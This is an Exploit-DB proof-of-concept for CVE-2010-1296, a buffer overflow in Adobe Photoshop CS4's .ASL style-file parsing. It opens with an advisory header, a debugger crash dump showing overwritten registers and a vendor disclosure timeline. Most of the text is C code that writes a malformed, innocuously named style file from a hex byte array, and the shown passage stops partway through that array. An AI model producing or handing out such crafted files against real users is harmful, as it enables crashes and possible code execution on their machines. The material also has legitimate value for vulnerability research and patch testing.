Exploit-DB #12753
Description: Adobe Photoshop CS4 Extended 11.0 - '.ASL' File Handling Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-05-26
Author: LiquidWorm

Exploit:
/*

 Title:
 Adobe Photoshop CS4 Extended 11.0 ASL File Handling Remote Buffer Overflow PoC


 Summary: The Adobe® Photoshop® family of products is the ultimate playground for
 bringing out the best in your digital images, transforming them into anything you
 can imagine and showcasing them in extraordinary ways.

 Description: Adobe Photoshop CS4 Extended suffers from a buffer overflow vulnerability
 when dealing with .ASL (styles) format file. The application failz to sanitize the user
 input resulting in a memory corruption, overwriting several memory registers which can
 aid the atacker to gain the power of executing arbitrary code or denial of service.

 Vendor:
 Adobe Systems Incorporated

 Product Web Page:
 http://www.adobe.com/

 Current Version:
 CS4 Extended 11.0.0.0

 Tested On:
 Microsoft Windwos XP Professional SP3 (English)


 ---------------------------------------------------------------------------

 (a34.688): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=7efefefe ebx=00004141 ecx=0000015d edx=41414141 esi=107edea0 edi=107f2000
 eip=781807f5 esp=0012dd60 ebp=05620e10 iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
 MSVCR80!strncpy+0xa5:
 781807f5 8917            mov     dword ptr [edi],edx  ds:0023:107f2000=????????

 ---------------------------------------------------------------------------


 Vendor Status:
 [08.08.2009] Vendor notified.
 [10.08.2009] Vendor replied.
 [14.08.2009] Asked vendor for confirmation.
 [14.08.2009] Vendor confirms vulnerability.
 [18.05.2010] Vendor reveals patch release date.
 [26.05.2010] Coordinated public disclosure.


 Zero Science Lab Advisory ID: ZSL-2010-4938
 Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4938.php
 Adobe Advisory ID: APSB10-13
 Advisory: http://www.adobe.com/support/security/bulletins/apsb10-13.html
 CVE ID: CVE-2010-1296


 Vulnerability Discovered By:

 Gjoko 'LiquidWorm' Krstic

 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk

 08.08.2009


*/



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
 
#define FILENAME "Awesome_Styles.asl"
 
FILE *fp;

char styleh[] = {
	0x00, 0x02, 0x38, 0x42, 0x53, 0x4C, 0x00, 0x03, 0x00, 0x00, 0x26, 0x50, 0x00, 0x00, 0x01, 0xC9, 
	0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x06, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0A, 
	0x00, 0x33, 0x00, 0x70, 0x00, 0x74, 0x00, 0x20, 0x00, 0x77, 0x00, 0x68, 0x00, 0x69, 0x00, 0x74, 
	0x00, 0x65, 0x00, 0x00, 0x24, 0x38, 0x65, 0x32, 0x65, 0x31, 0x64, 0x62, 0x64, 0x2D, 0x35, 0x64, 
	0x66, 0x39, 0x2D, 0x31, 0x31, 0x64, 0x37, 0x2D, 0x61, 0x65, 0x38, 0x63, 0x2D, 0x62, 0x38, 0x31, 
	0x35, 0x37, 0x66, 0x35, 0x39, 0x62, 0x35, 0x37, 0x35, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x01, 
	0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 
	0x06, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3B, 0x00, 0x00, 0x00, 
	0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 
	0x06, 0x00, 0x08, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3B, 
	0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 
	0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01, 0x00, 
	0x00, 0x00, 0x3B, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3B, 0x00, 0x00, 
	0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 
	0x00, 0x06, 0x00, 0x08, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 
	0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 
	0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xCF, 
	0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x06, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0D, 
	0x00, 0x33, 0x00, 0x70, 0x00, 0x74, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x25, 0x00, 0x20, 
	0x00, 0x47, 0x00, 0x72, 0x00, 0x65, 0x00, 0x79, 0x00, 0x00, 0x24, 0x38, 0x65, 0x32, 0x65, 0x31, 
	0x64, 0x62, 0x37, 0x2D, 0x35, 0x64, 0x66, 0x39, 0x2D, 0x31, 0x31, 0x64, 0x37, 0x2D, 0x61, 0x65, 
	0x38, 0x63, 0x2D, 0x62, 0x38, 0x31, 0x35, 0x37, 0x66, 0x35, 0x39, 0x62, 0x35, 0x37, 0x35, 0x00, 
	0x00, 0x00, 0x03, 0x00, 0x00, 0x01, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x06